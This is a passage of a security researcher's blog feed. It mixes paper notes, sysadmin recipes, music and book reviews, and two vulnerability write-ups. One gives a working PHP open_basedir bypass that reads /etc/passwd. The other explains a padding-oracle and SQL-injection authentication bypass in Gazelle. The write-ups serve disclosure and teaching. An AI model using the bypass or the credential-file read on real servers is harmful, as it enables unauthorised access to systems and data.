href="https://en.wikipedia.org/wiki/Bionic_(software)">bionic</a>, +<a href="https://github.com/q66">q66</a> for his clang patches and general support, +the friendly people from <a href="https://2f30.org">2f30</a> for their patience, +<a href="http://serge.liyun.free.fr/serge/">Serge Sans Paille</a> for his <a href="https://github.com/serge-sans-paille/fortify-test-suite">testsuite</a>, +<a href="https://people.freebsd.org/~kevans/">kevans</a> for his work on fortifying +<a href="https://reviews.freebsd.org/D32306">FreeBSD's libc</a>, +Red Hat from pushing <code>FORTIFY_SOURCE=2</code> and <code>FORTIFY_SOURCE=3</code> forward, +...</p>jvoisinTue, 12 Dec 2023 23:30:00 +0100tag:dustri.org,2023-12-12:/b/fortify-headers-20.htmlsecurityPaper notes: CryptOpthttps://dustri.org/b/paper-notes-cryptopt.html<ul> +<li>Full title: CryptOpt: Verified Compilation with Randomized Program Search for Cryptographic Primitives</li> +<li>PDF: <a href="https://arxiv.org/abs/2211.10665">arXiv</a> (<a href="https://dustri.org/b/files/papers/cryptopt.pdf">local mirror</a>)</li> +<li>Authors: Joel Kuepper, Andres Erbsen, Jason Gross, Owen Conoly, Chuyue Sun, Samuel Tian, David Wu, Adam Chlipala, Chitchanok Chuengsatiansup, Daniel Genkin, Markus Wagner, Yuval Yarom</li> +</ul> +<p>Cryptography is hard, high-performance one even more so: formal proof of +assembly implementations is horrible to model, and code generation from +formal proofs are hard to lower to high-performance assembly. The core idea of +CryptOpt is to treat this as a black box combinatorial optimization problem, +and bruteforce possible solutions in a smart way against an oracle.</p> +<p>More precisely:</p> +<ol> +<li>start from a known-correct implementation in + <a href="https://github.com/mit-plv/fiat-crypto">fiat-crypto</a> (a + coq-powered high-level to low-level IR proven translator) low-level IR;</li> +<li>lower it via a fuzzer-like machinery replacing/reordering operands + applying semantics-and-data-constrains-preserving transformations, which has an acceptable + search space because:<ul> +<li>it's straight-line no-aliasing constant-offset-pointers assembly;</li> +<li>transformations can be templatised, eg. <code>add ≍ clc; adcx</code>;</li> +</ul> +</li> +<li>lift the resulting x64 assembly to fiat-crypto low-level IR;</li> +<li>use a custom <a href="https://en.wikipedia.org/wiki/E-graph">e-graph</a> based + <em>equivalence checker</em> implemented as a mix between an SMT solver and a symbolic-execution engine;</li> +<li>if the new implementation is correct, benchmark it against the current; + fastest one, and keep it if it's outperforming it.</li> +<li><code>goto 2</code>.</li> +</ol> +<p>This approach has a couple of advantages:</p> +<ul> +<li>fuzzers are cheaper than highly specialised engineering time</li> +<li>porting implementations to new hardware is simply a matter of + running CryptOpt on it.</li> +<li>by lifting the assembly to fiat-crypto low-level IR, + there is no need to write complex formal proofs, + since fiat-crypto is already taking care of those.</li> +<li>controlling the mutations allows to ensure that + the implementation stays side-channel free.</li> +</ul> +<p>The main issue though, is that one needs to formally implement +whatever algorithm to optimize in fiat-crypto, which is not that easy (and +which the authors of the paper didn't do for libsecp256k1).</p> +<p>Implementation-wise, the author ran 200k mutations, with 20 initial candidates, +over 18 Fiat IR primitives, taking between 20 and 40 CPU hours. Interestingly, +since the equivalence-based verification is <em>slow</em> (between 0.1s and ~300s), +it's only done once at the end. They found out that "optimization progress is roughly logarithmic +in the number of mutations." CryptOpt generates code around 1.20 to 2.50 times +faster than gcc/clang for the same fiat-crypto generated C code. It's not +faster then OpenSSL (but offers formally verified correctness), but is +faster than libsecp256k1.</p> +<p>The paper was <a href="https://iacr.org/submit/files/slides/2023/rwc/rwc2023/85/slides.pdf">presented</a> at <a href="https://rwc.iacr.org/2023/program.php">Real World Crypto 2023</a>, +and like all good one, it came with an <a href="https://github.com/0xADE1A1DE/CryptOpt">implementation</a></p>jvoisinFri, 01 Dec 2023 12:30:00 +0100tag:dustri.org,2023-12-01:/b/paper-notes-cryptopt.htmlpaper_notesManaging a bouncer via OpenRChttps://dustri.org/b/managing-a-bouncer-via-openrc.html<p>I'm an avid <a href="https://en.wikipedia.org/wiki/Internet_Relay_Chat">IRC</a> +user, and I'm using <a href="https://en.wikipedia.org/wiki/XMPP">XMPP</a> to idle on +<a href="https://tails.net/support/index.en.html">Tails</a>' chatrooms. Since protocols +tend to only work when one is connected, they're both running inside a +<a href="https://github.com/tmux/tmux">tmux</a> session, acting as a +<a href="https://en.wikipedia.org/wiki/BNC_(software)">bouncer</a>. +But now that my hypervisor is automatically rebooting to apply security updates, +and during power cuts via <a href="https://networkupstools.org/">nut</a>, +I needed a way to automatically restart the bouncer. Since +it's running in an <a href="https://www.alpinelinux.org/">Alpine Linux</a> container, +here is my solution in the form of an <a href="https://github.com/OpenRC/openrc">OpenRC</a> +service script, because I couldn't find one on the internet:</p> +<div class="codehilite"><pre><span></span><code><span class="ch">#!/sbin/openrc-run</span> + +<span class="nv">USER</span><span class="o">=</span>jvoisin + +<span class="nv">name</span><span class="o">=</span><span class="s2">&quot;chat&quot;</span> +<span class="nv">command_user</span><span class="o">=</span><span class="s2">&quot;</span><span class="nv">$USER</span><span class="s2">&quot;</span> +<span class="nv">command</span><span class="o">=</span>/usr/bin/tmux +<span class="nv">command_args</span><span class="o">=</span><span class="s2">&quot;new-session -s chat -d &#39;/usr/bin/weechat&#39; \; new-window &#39;/usr/bin/profanity&#39; \; select-window -t -1&quot;</span> +<span class="nv">pidfile</span><span class="o">=</span><span class="s2">&quot;/run/</span><span class="nv">$SVCNAME</span><span class="s2">.pid&quot;</span> + +depend<span class="o">()</span><span class="w"> </span><span class="o">{</span> +<span class="w"> </span>need<span class="w"> </span>net +<span class="w"> </span>use<span class="w"> </span>dns<span class="w"> </span> +<span class="o">}</span><span class="w"> </span> + +stop<span class="o">()</span><span class="w"> </span><span class="o">{</span> +<span class="w"> </span>su<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$USER</span><span class="s2">&quot;</span><span class="w"> </span>-c<span class="w"> </span><span class="s1">&#39;tmux kill-session chat&#39;</span> +<span class="o">}</span> +</code></pre></div>jvoisinFri, 24 Nov 2023 16:30:00 +0100tag:dustri.org,2023-11-24:/b/managing-a-bouncer-via-openrc.htmlsysadminNetra - Ingratshttps://dustri.org/b/netra-ingrats.html<p><a href="https://hypnoticdirgerecords.bandcamp.com/album/ingrats"><img alt="Cover" src="https://dustri.org/b/images/netra_ingrats.jpg"></a></p> +<p><em>Ingrats</em> ("ungrateful ones" in French) is the 3<sup>rd</sup> album from +Netra, and it's a very lonely one, for I don't think it has any peers. A mix of +depressive black metal, trip hop, and jazz à la <a href="https://en.wikipedia.org/wiki/Bohren_%26_der_Club_of_Gore">Bohren &amp; der Club of +Gore</a> in equal +measures, bound together with a hint of depressive darkwave, resulting +in a not only surprisingly cohesive and daring record, but also an excessively +pleasant and honest one.</p> +<p>Opening with "Gimme a break", a mellow jazzy noir blues vibe where one wants to +snap in rhythm, things quickly devolve into blast beats, raw screams and +twisted guitar of "Everything’s Fine", arguably the most black-metal-esque song +of the album. Albeit it is way more than yet-another-black-metal-track, +morphing into something more complex, with an eerie piano melody, and some +almost gothic rock clear singing. The sudden transitions are perfectly +executed, and the work on the voices is truly delicious, resulting in an +alienating, impetuous yet melancholic track. "Underneath my words the ruins of +yours" is a subtle mix of trip-hop and atmospheric post-rock/darkwave, +pursuing with "Live with It", even more trip-hop, but this time with a +<a href="https://en.wikipedia.org/wiki/Syncopation">syncopated</a> rhythm, 80s gothic +rock, clean vocals and acoustic guitars, … it results in something like +Katatonia doing a feat with <a href="https://en.wikipedia.org/wiki/Gramatik">Gramatik</a> +and <a href="https://en.wikipedia.org/wiki/Ulver">Ulver</a> period early 2000s.</p> +<p>Then the calm before the storm, "Infinite bordedom", a one minute interlude of grainy piano under the rain, +announcing "Don't Keep Me Waiting", some sort of nihilist black metal track, +but with the noted presence of a saxophone and some clear touches of jazz. The presence of a whispered sample +from <a href="https://en.wikipedia.org/wiki/The_Minister">L’exercice de l’État</a> +has a gentle touch of <a href="https://www.metal-archives.com/bands/B%C3%A2%27a/3540445572">Ba'a</a>. Moving on +to "A Genuinely Benevolent Man", starting with synthesisers, +then a 4|4 kick resulting in something that could be on a <a href="https://en.wikipedia.org/wiki/VNV_Nation">VNV Nation</a> album. +Until it decays into something more raw, and when the shrieking vocals +are showing up, you didn't even realise that we've left the world of the darkwave +to return into the one of black metal.</p> +<p>"Paris or Me", dark and rainy, with bits of triptop percussion, +introducing "Could've, Should've, Would've", with tasteful hints of Depeche Mode, Dead Can Dance, +post-2000 Velvet Acid Christ, giving it a resolute tasteful darkwave-synth-pop-EBM +cocktail. The album ends with "Jusqu'au-boutiste", starting with some jazzy piano on a <a href="https://en.wikipedia.org/wiki/Bassline#Walking_bass">walking +bass</a>, turning into an ultra-saturated tremolo riff with blast beats, +and both worlds are alternating along the track, only interrupted by a very à +propos sample from <a href="https://en.wikipedia.org/wiki/Low_Down">Low Down</a>. It goes +on until the piano gets creepier and creepier, landing into strings, +morphing into dislocated tip-hop soul, beaching onto calm synthesisers, +and ending with raw black metal as background for electronic sounds.</p> +<p>As <a href="https://hypnoticdirgerecords.com/">Hypnotic Dirge Records</a>, the label on which the disc was produced, perfectly +summarised:</p> +<blockquote> +<p>The perfect soundtrack for late-night walks in the city. The material on +“Ingrats” is an all-out assault on the senses, a bitter pill that must be +swallowed as an accompaniment for self-reflection. An album which can connect +emotionally and leave you drained at the end.</p> +</blockquote>jvoisinSat, 18 Nov 2023 22:45:00 +0100tag:dustri.org,2023-11-18:/b/netra-ingrats.htmlmusicini_set based open_basedir bypasshttps://dustri.org/b/ini_set-based-open_basedir-bypass.html<p>This one was burned by <a href="https://twitter.com/Blaklis_">Blaklis</a> in 2019, +by being the expected solution for his +<a href="https://github.com/Blaklis/my-challenges/tree/master/phuck3">Phuck3</a> challenge +for InsomniHack Finals 2019, but has been known long before.</p> +<p>In the words of <a href="https://www.php.net/manual/en/ini.core.php#ini.open-basedir">PHP's documentation</a> on <code>open_basedir</code>:</p> +<blockquote> +<p>When a script tries to access the filesystem, for example using include, +or fopen(), the location of the file is checked. When the file is outside the +specified directory-tree, PHP will refuse to access it. All symbolic links are +resolved, so it's not possible to avoid this restriction with a symlink. If the +file doesn't exist then the symlink couldn't be resolved and the filename is +compared to (a resolved) open_basedir. </p> +<p>[…]</p> +<p>open_basedir is just an extra safety net, that is in no way comprehensive, and can therefore not be relied upon when security is needed. </p> +</blockquote> +<p>It has been more or less fixed in <a href="https://github.com/php/php-src/commit/ee9e07541f9f07762e3ee781102eea3a4190787c">March 2021</a>, +then again in <a href="https://github.com/php/php-src/commit/61e98bf35eb939bdd7b27ad7938f8549db2e1551">March 2023</a>, +and again in <a href="https://github.com/php/php-src/commit/9bcdf219ec6e8d6c2a55f1712b7d868b9129ef8d">July 2023</a>. +But I wouldn't be surprised if more low-hanging bypasses were lurking ;)</p> +<p>The crux of the bypass is that php didn't resolve relative paths both in +<code>ini_set</code> and when checking <code>php_check_open_basedir</code>:</p> +<div class="codehilite"><pre><span></span><code><span class="o">&lt;?</span><span class="nx">php</span> +<span class="k">echo</span> <span class="nb">ini_get</span><span class="p">(</span><span class="s1">&#39;open_basedir&#39;</span><span class="p">);</span> <span class="c1">// /var/www/html</span> +<span class="nb">mkdir</span><span class="p">(</span><span class="s1">&#39;./tmp&#39;</span><span class="p">);</span> +<span class="nb">chdir</span><span class="p">(</span><span class="s1">&#39;./tmp&#39;</span><span class="p">);</span> +<span class="nb">ini_set</span><span class="p">(</span><span class="s1">&#39;open_basedir&#39;</span><span class="p">,</span> <span class="s1">&#39;..&#39;</span><span class="p">);</span> +<span class="k">for</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nv">$i</span> <span class="o">&lt;=</span> <span class="mi">24</span><span class="p">;</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> + <span class="nb">chdir</span><span class="p">(</span><span class="s1">&#39;..&#39;</span><span class="p">);</span> +<span class="p">}</span> +<span class="nb">ini_set</span><span class="p">(</span><span class="s1">&#39;open_basedir&#39;</span><span class="p">,</span><span class="s1">&#39;/&#39;</span><span class="p">)</span> +<span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">&quot;/etc/passwd&quot;</span><span class="p">);</span> +</code></pre></div>jvoisinFri, 03 Nov 2023 16:30:00 +0100tag:dustri.org,2023-11-03:/b/ini_set-based-open_basedir-bypass.htmlphpBook review: Locksport - A Hacker’s Guide to Lockpicking, Impressioning, and Safe Crackinghttps://dustri.org/b/book-review-locksport-a-hackers-guide-to-lockpicking-impressioning-and-safe-cracking.html<p><a href="https://nostarch.com/locksport"><img alt="Locksport's cover" src="https://dustri.org/b/images/locksport.png"></a></p> +<p>I'm starting to feel guilty about getting ebooks for free from +<a href="https://nostarch.com/about">No Starch Press</a>, but apparently they're happy to +send them my way in exchange for a review, so I won't complain.</p> +<p>Anyway, I got a copy of the early access version <a href="https://nostarch.com/locksport">Locksport - A Hacker’s Guide to Lockpicking, +Impressioning, and Safe Cracking</a>! +It's obviously a book about lockpicking, but, as <em>hinted</em> by its name, +from the <a href="https://www.lockwiki.com/index.php/Locks port">sport</a> angle.</p> +<p>I'm not completely clueless when it comes to picking locks, but I've always been +mediocre at best, since I never really put the effort into practising anything +but the basics. This was thus a great opportunity for a deeper dive! +So I got myself a <a href="https://covertinstruments.com/collections/lockpicks/products/genesis-lock-pick">proper set of picks</a>, +3 cutaway training locks <a href="https://www.sparrowslockpicks.com/products/cut-away-lock-serrated-pins">one with serrated pins</a>, +<a href="https://www.sparrowslockpicks.com/products/cut-away-lock-spool-pins">with spool pins</a>, +and <a href="https://www.sparrowslockpicks.com/products/cut-away-lock-check-pins">one with stupid chess pieces pins</a>, +and a couple of locks/padlocks from my local locksmith, and dove into the book!</p> +<p>I was a bit curious about its content, since I didn't bother reading the table of contents, +and was expecting a pile of techniques to open <a href="https://en.wikipedia.org/wiki/Wafer_tumbler_lock">wafer tumbler locks</a> +in the fastest way possible. But the book is so much more than that, with +historical perspectives, a bit of legalese, the proper etiquette to participate in lockpicking +competitions and how to organise one, anecdotes, mechanical details and +resources for those who <a href="https://en.wikipedia.org/wiki/Starship_Troopers_(film)">would like to know +more</a>, how to tear +apart, modify, take care of, and reassemble locks, where to get equipment, +how to <a href="https://www.lockwiki.com/index.php/Impressioning">impression keys</a>, +details on <a href="https://en.wikipedia.org/wiki/Lever_tumbler_lock">lever tumbler locks</a> +and <a href="https://en.wikipedia.org/wiki/Safe">vaults</a>, +…</p> +<p>The part about wafer locks, while interesting, doesn't really go much further +than some basic techniques for entry-level <a href="https://lockwiki.com/index.php/Security_pin#Security_pin_illustrations">security pins</a>, +but I guess practise is the only way to learn how to handle anything non-trivial anyway. +On the other hand, the part about lever locks was highly entertaining, +since those are really weird compared to the <em>usual</em> locks, +and I didn't know much about them.</p> +<p>I recently gifted myself a <a href="https://www.sparrowslockpicks.com/products/challenge-vault">Sparrow's challenge vault</a> for my birthday, +and was thus highly delighted to discover that the book has a whole section +on <a href="https://en.wikipedia.org/wiki/Safe-cracking">safe manipulation</a>; which is +fortunate since the instructions coming with the vault are <s>pure garbage</s> +confusing at best.</p> +<p>The only issue I had with the book is that while it's full of gorgeous colourful +pictures, like the small marks left by pins during key impressioning, +they are unfortunately barely legible on my +<a href="https://www.pocketbook-int.com/ge/products/pocketbook-inkpad-3">Pocketbook InkPad 3</a>, +so I'd recommend getting the paperback version if you don't have a 𝖙𝖗𝖚𝖊𝖈𝖔𝖑𝖔𝖗 4𝖐 +𝕳𝕯𝕽 e-reader.</p> +<p>All in all, it's a really great self-contained book for newcomers and beginners, +entertaining, detailed, … and doing a tremendous job at making +lockpicking competitions look cool yet accessible! It was also a nice motivation booster for me to +tackle harder locks.</p> +<p>If you already know your way around locks, you might want to look at <a href="https://www.barnesandnoble.com/w/high-security-mechanical-locks-graham-pulford/1111341233">High-Security Mechanical Locks: An +Encyclopedic +Reference</a> instead.</p>jvoisinFri, 20 Oct 2023 18:00:00 +0200tag:dustri.org,2023-10-20:/b/book-review-locksport-a-hackers-guide-to-lockpicking-impressioning-and-safe-cracking.htmlbook_reviewsAuthentication bypass on What.CD's Gazellehttps://dustri.org/b/authentication-bypass-on-whatcds-gazelle.html<p><a href="https://en.wikipedia.org/wiki/What.CD">What.CD</a> has been dead since 2016, and +hopefully <a href="https://github.com/OPSnet/Gazelle/blob/master/app/Util/Crypto.php">nobody</a> +is using <a href="https://github.com/WhatCD/Gazelle">Gazelle</a>, +their "web framework geared towards private BitTorrent tracker" anymore. +I've been sitting on this one for years, I know I wasn't the only one, +and it's not the only low-hanging vulnerability lurking there.</p> +<p>Rolling your own blunt is alright, rolling your own authentication scheme +less so: there is a trivial <a href="https://en.wikipedia.org/wiki/Padding_oracle_attack">padding oracle</a> +in the <a href="https://github.com/WhatCD/Gazelle/blob/master/classes/encrypt.class.php#L24">homegrown crypto scheme</a>:</p> +<div class="codehilite"><pre><span></span><code><span class="k">public</span> <span class="k">function</span> <span class="nf">decrypt</span><span class="p">(</span><span class="nv">$CryptStr</span><span class="p">,</span> <span class="nv">$Key</span> <span class="o">=</span> <span class="nx">ENCKEY</span><span class="p">)</span> <span class="p">{</span> + <span class="k">if</span> <span class="p">(</span><span class="nv">$CryptStr</span> <span class="o">!=</span> <span class="s1">&#39;&#39;</span><span class="p">)</span> <span class="p">{</span> + <span class="nv">$IV</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nb">base64_decode</span><span class="p">(</span><span class="nv">$CryptStr</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span> + <span class="nv">$CryptStr</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nb">base64_decode</span><span class="p">(</span><span class="nv">$CryptStr</span><span class="p">),</span> <span class="mi">16</span><span class="p">);</span> + <span class="k">return</span> <span class="nb">trim</span><span class="p">(</span><span class="nb">mcrypt_decrypt</span><span class="p">(</span><span class="nx">MCRYPT_RIJNDAEL_128</span><span class="p">,</span> <span class="nv">$Key</span><span class="p">,</span> <span class="nv">$CryptStr</span><span class="p">,</span> <span class="nx">MCRYPT_MODE_CBC</span><span class="p">,</span> <span class="nv">$IV</span><span class="p">));</span> + <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="k">return</span> <span class="s1">&#39;&#39;</span><span class="p">;</span> + <span class="p">}</span> +<span class="p">}</span> +</code></pre></div> + +<p>leading to an <a href="https://github.com/WhatCD/Gazelle/blob/master/classes/ajax_start.php#L23-L31">authentication bypass via a SQL injection</a>:</p> +<div class="codehilite"><pre><span></span><code><span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s1">&#39;session&#39;</span><span class="p">]))</span> <span class="p">{</span> + <span class="nv">$LoginCookie</span> <span class="o">=</span> <span class="nv">$Enc</span><span class="o">-&gt;</span><span class="na">decrypt</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s1">&#39;session&#39;</span><span class="p">]);</span> +<span class="p">}</span> +<span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$LoginCookie</span><span class="p">))</span> <span class="p">{</span> + <span class="k">list</span><span class="p">(</span><span class="nv">$SessionID</span><span class="p">,</span> <span class="nv">$UserID</span><span class="p">)</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s2">&quot;|~|&quot;</span><span class="p">,</span> <span class="nv">$Enc</span><span class="o">-&gt;</span><span class="na">decrypt</span><span class="p">(</span><span class="nv">$LoginCookie</span><span class="p">));</span> + + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$UserID</span> <span class="o">||</span> <span class="o">!</span><span class="nv">$SessionID</span><span class="p">)</span> <span class="p">{</span> + <span class="k">die</span><span class="p">(</span><span class="s1">&#39;Not logged in!&#39;</span><span class="p">);</span> + <span class="p">}</span> + + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$Enabled</span> <span class="o">=</span> <span class="nv">$Cache</span><span class="o">-&gt;</span><span class="na">get_value</span><span class="p">(</span><span class="s2">&quot;enabled_</span><span class="si">$UserID</span><span class="s2">&quot;</span><span class="p">))</span> <span class="p">{</span> + <span class="k">require</span><span class="p">(</span><span class="nx">SERVER_ROOT</span><span class="o">.</span><span class="s1">&#39;/classes/mysql.class.php&#39;</span><span class="p">);</span> <span class="c1">//Require the database wrapper</span> + <span class="nv">$DB</span> <span class="o">=</span> <span class="k">NEW</span> <span class="nx">DB_MYSQL</span><span class="p">;</span> <span class="c1">//Load the database wrapper</span> + <span class="nv">$DB</span><span class="o">-&gt;</span><span class="na">query</span><span class="p">(</span><span class="s2">&quot;</span> +<span class="s2"> SELECT Enabled</span> +<span class="s2"> FROM users_main</span> +<span class="s2"> WHERE ID = &#39;</span><span class="si">$UserID</span><span class="s2">&#39;&quot;</span><span class="p">);</span> + <span class="k">list</span><span class="p">(</span><span class="nv">$Enabled</span><span class="p">)</span> <span class="o">=</span> <span class="nv">$DB</span><span class="o">-&gt;</span><span class="na">next_record</span><span class="p">();</span> + <span class="nv">$Cache</span><span class="o">-&gt;</span><span class="na">cache_value</span><span class="p">(</span><span class="s2">&quot;enabled_</span><span class="si">$UserID</span><span class="s2">&quot;</span><span class="p">,</span> <span class="nv">$Enabled</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> + <span class="p">}</span> +<span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="k">die</span><span class="p">(</span><span class="s1">&#39;Not logged in!&#39;</span><span class="p">);</span> +<span class="p">}</span> +</code></pre></div> + +<p>Conveniently, the oracle doesn't touch the database, is completely stateless, +and only shows up in the httpd/reverse-proxy's logs, which shouldn't log the cookies' +content, making forensic analysis nigh impossible. Once you're admin, there are +a bunch of available SQL injections, like in +<a href="https://github.com/WhatCD/Gazelle/blob/master/sections/reportsv2/takeresolve.php"><code>takerevolve.php</code></a>. +From there, remote code execution is doable, but left as an exercise for the +reader.</p>jvoisinFri, 13 Oct 2023 19:45:00 +0200tag:dustri.org,2023-10-13:/b/authentication-bypass-on-whatcds-gazelle.htmlsecurityVideo acceleration in Jellyfin inside a Proxmox containerhttps://dustri.org/b/video-acceleration-in-jellyfin-inside-a-proxmox-container.html<p>For various reasons, including "video decoding is hard", "your web browser hates you" +and "watching movies on a phone over 3G is a basic human necessity", +enabling hardware-accelerated video decoding in <a href="https://jellyfin.org">Jellyfin</a> +is a desirable goal if you don't want your CPU to set your house on fire. </p> +<p>To attain it, one can mess around <a href="https://github.com/ddimick/proxmox-lxc-idmapper">cryptic gid mappings</a>, +but granting every user on the hypervisor the right to read/write <code>/dev/dri/renderD128</code> and +<code>/dev/dri/card0</code> is way easier, and it looks like this:</p> +<div class="codehilite"><pre><span></span><code><span class="gp"># </span>cat<span class="w"> </span>&gt;<span class="w"> </span>/etc/udev/rules.d/99-intel-chmod666.rules<span class="w"> </span>&lt;&lt;<span class="w"> </span><span class="s1">&#39;EOF&#39;</span> +<span class="go">KERNEL==&quot;renderD128&quot;, MODE=&quot;0666&quot;</span> +<span class="go">KERNEL==&quot;card0&quot;, MODE=&quot;0666&quot;</span> +<span class="go">EOF</span> +<span class="gp"># </span>udevadm<span class="w"> </span>control<span class="w"> </span>--reload-rules<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>udevadm<span class="w"> </span>trigger +<span class="gp">#</span> +</code></pre></div> + +<p>It doesn't really worsen security, since: +- the devices are only mounted inside my jellyfin container, which would have + the same privileges as if I used gid mapping. +- odds are that an attacker able to get a shell on the hypervisor wouldn't + really need to have r/w access to the two devices to escalate their + privileges anyway, since they would either be: + - root already to escape from a container + - root already to escape from a vm + - whatever proxmox user and likely able to escalate to <code>root</code> trivially + - other users are sandboxed via systemd and/or seccomp.</p> +<p>Speaking of mounting things inside the container:</p> +<div class="codehilite"><pre><span></span><code><span class="gp"># </span>cat<span class="w"> </span>&gt;<span class="w"> </span>/etc/pve/lxc/114.conf<span class="w"> </span>&lt;&lt;<span class="w"> </span><span class="s1">&#39;EOF&#39;</span> +<span class="go">lxc.cgroup2.devices.allow: c 226:0 rwm</span> +<span class="go">lxc.cgroup2.devices.allow: c 226:128 rwm</span> +<span class="go">lxc.mount.entry: /dev/dri dev/dri none bind,optional,create=dir</span> +<span class="go">lxc.mount.entry: /dev/dri/renderD128 dev/renderD128 none bind,optional,create=file</span> +<span class="go">EOF</span> +<span class="gp">#</span> +</code></pre></div> + +<p>You can now run <code>vainfo</code> inside the container and be delighted by the +presence of the <a href="https://en.wikipedia.org/wiki/Video_Acceleration_API">VA-API</a> version number:</p> +<div class="codehilite"><pre><span></span><code><span class="gp"># </span>vainfo<span class="w"> </span><span class="m">2</span>&gt;/dev/null<span class="w"> </span><span class="p">|</span><span class="w"> </span>head<span class="w"> </span>-n<span class="w"> </span><span class="m">1</span> +<span class="go">libva info: VA-API version 1.17.0</span> +<span class="gp">#</span> +</code></pre></div> + +<p>The last step is to tick all the boxes in <a href="https://jellyfin.org/docs/general/administration/hardware-acceleration/">Jellyfin's +preferences</a> +and you're good to go. Don't forget to make some space on the disk for the +transcoding cache, at least until <a href="https://github.com/jellyfin/jellyfin/pull/8744">this</a> +makes its way into a release.</p>jvoisinSun, 01 Oct 2023 22:15:00 +0200tag:dustri.org,2023-10-01:/b/video-acceleration-in-jellyfin-inside-a-proxmox-container.htmlsysadminPaper notes: Breaking Bad: Quantifying the Addiction of Web Elements to JavaScripthttps://dustri.org/b/paper-notes-breaking-bad-quantifying-the-addiction-of-web-elements-to-javascript.html<p><a href="https://arxiv.org/pdf/2301.10597.pdf">PDF</a>, <a href="https://dustri.org/b/files/papers/breaking_bad.pdf">local mirror</a></p> +<p>More or less all conversations involving the <a href="https://www.torproject.org/download/">tor browser</a> +will at some point contain the following line: "No, javascript isn't disabled +by default because too many sites would break. You can always crank the +security slider all the way up if you want tho."</p> +<p>We all agree that javascript enables all sorts of despicable behaviours making +the web a nightmare-material privacy/security cesspit and completely +inscrutable to a lot of users, so having research done +to quantify how to make it a better place for everyone is always more than welcome.</p> +<p>The main idea of the paper is to load pages from the <a href="https://hispar.cs.duke.edu/">Hispar +set</a> with and without <code>javascript.enabled</code> set, +via <a href="https://pptr.dev">Puppeteer</a>, and to perform +magic human-assisted smart diffing to detect user-perceived/perceivable +breakages. </p> +<p>The paper is full of fancy graphs and analysis, but the <a href="https://en.wikipedia.org/wiki/TL;DR">tldr</a> is:</p> +<blockquote> +<p>We discover that 43 % of web pages are not strictly dependent on JavaScript +and that more than 67 % of pages are likely to be usable as long as the visitor +only requires the content from the main section of the page, for which the user +most likely reached the page, while reducing the number of tracking requests by +85 % on average.</p> +</blockquote> +<p>An interesting take is that the usage of javascript framework is the main +source of breakage, since <s>a lot</s> all of them result in completely +unusable websites when javascript is disabled. Moreover, anecdotal data seems +to suggest that the bigger a company is, the more their website is going to +break when javascript is disabled.</p> +<p>And like every decent paper, it comes with the <a href="https://gitlab.inria.fr/Spirals/breaking-bad">related code and data published</a>.</p>jvoisinTue, 26 Sep 2023 17:15:00 +0200tag:dustri.org,2023-09-26:/b/paper-notes-breaking-bad-quantifying-the-addiction-of-web-elements-to-javascript.htmlpaper_notesSnuffleupagus 0.10.0 - Babar the Elephanthttps://dustri.org/b/snuffleupagus-0100-babar-the-elephant.html<p><a href="https://snuffleupagus.readthedocs.org"><img alt="snuffleupagus logo" src="https://dustri.org/b/images/sp.png"></a></p> +<p>I just published a new release of +<a href="https://github.com/jvoisin/snuffleupagus/releases/tag/v0.10.0">Snuffleupagus</a>, +the hardening module for php7+ and php8+, +version <code>0.9.0</code>, codename "Babar the Elephant", +named the <a href="https://en.wikipedia.org/wiki/Babar_the_Elephant">eponymous character</a>. +The main new feature is the PHP8.3 support, but there are a couple of +quality-of-life improvements for people using Snuffleupagus with fuzzers as +well.</p> +<h3>Changelog</h3> +<ul> +<li>Compatibility with PHP8.3</li> +<li>Add <code>sp.log_max_len</code> to limit the maximum size of the log messages</li> +<li>Add an example configuration for Xenforo 2.2.12 </li> +<li>Url encode functions arguments when logging them</li> +<li>Fix a possible NULL-byte truncation when outputting parameters in the logs</li> +<li>Make <code>readonly_exec</code> play nice on readonly filesystems </li> +</ul> +<p>As usual, if you want to help, we have some +<a href="https://github.com/jvoisin/snuffleupagus/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22">low hanging fruits</a> ♥</p> +<p>See you in your PHP stack!</p>jvoisinWed, 20 Sep 2023 15:25:00 +0200tag:dustri.org,2023-09-20:/b/snuffleupagus-0100-babar-the-elephant.htmlphpSome notes on "Randomized slab caches for kmalloc()"https://dustri.org/b/some-notes-on-randomized-slab-caches-for-kmalloc.html<p>Ruiqi Gong and Xiu Jianfeng got their +<a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3c6152940584290668b35fa0800026f6a1ae05fe">Randomized slab caches for kmalloc()</a> +patch series merged upstream, and I've had enough discussions about it to +warrant summarising them into a small blogpost.</p> +<p>The main idea is to have multiple slab caches, and pick one at random based on +the address of code calling <code>kmalloc()</code> and a per-boot seed, to make heap-spraying harder. +It's a great idea, but comes with some shortcomings for now:</p> +<ul> +<li>Objects being allocated via wrappers around <code>kmalloc()</code>, like <code>sock_kmalloc</code>, + <code>f2fs_kmalloc</code>, <code>aligned_kmalloc</code>, … will end up in the same slab cache.</li> +<li>The slabs needs to be pinned, otherwise an attacker could <a href="https://en.wikipedia.org/wiki/Heap_feng_shui">feng-shui</a> their way + into having the whole slab free'ed, garbage-collected, and have a slab for + another type allocated at the same VA. <a href="https://thejh.net/">Jann Horn</a> and <a href="https://infosec.exchange/@nspace">Matteo Rizzo</a> have a <a 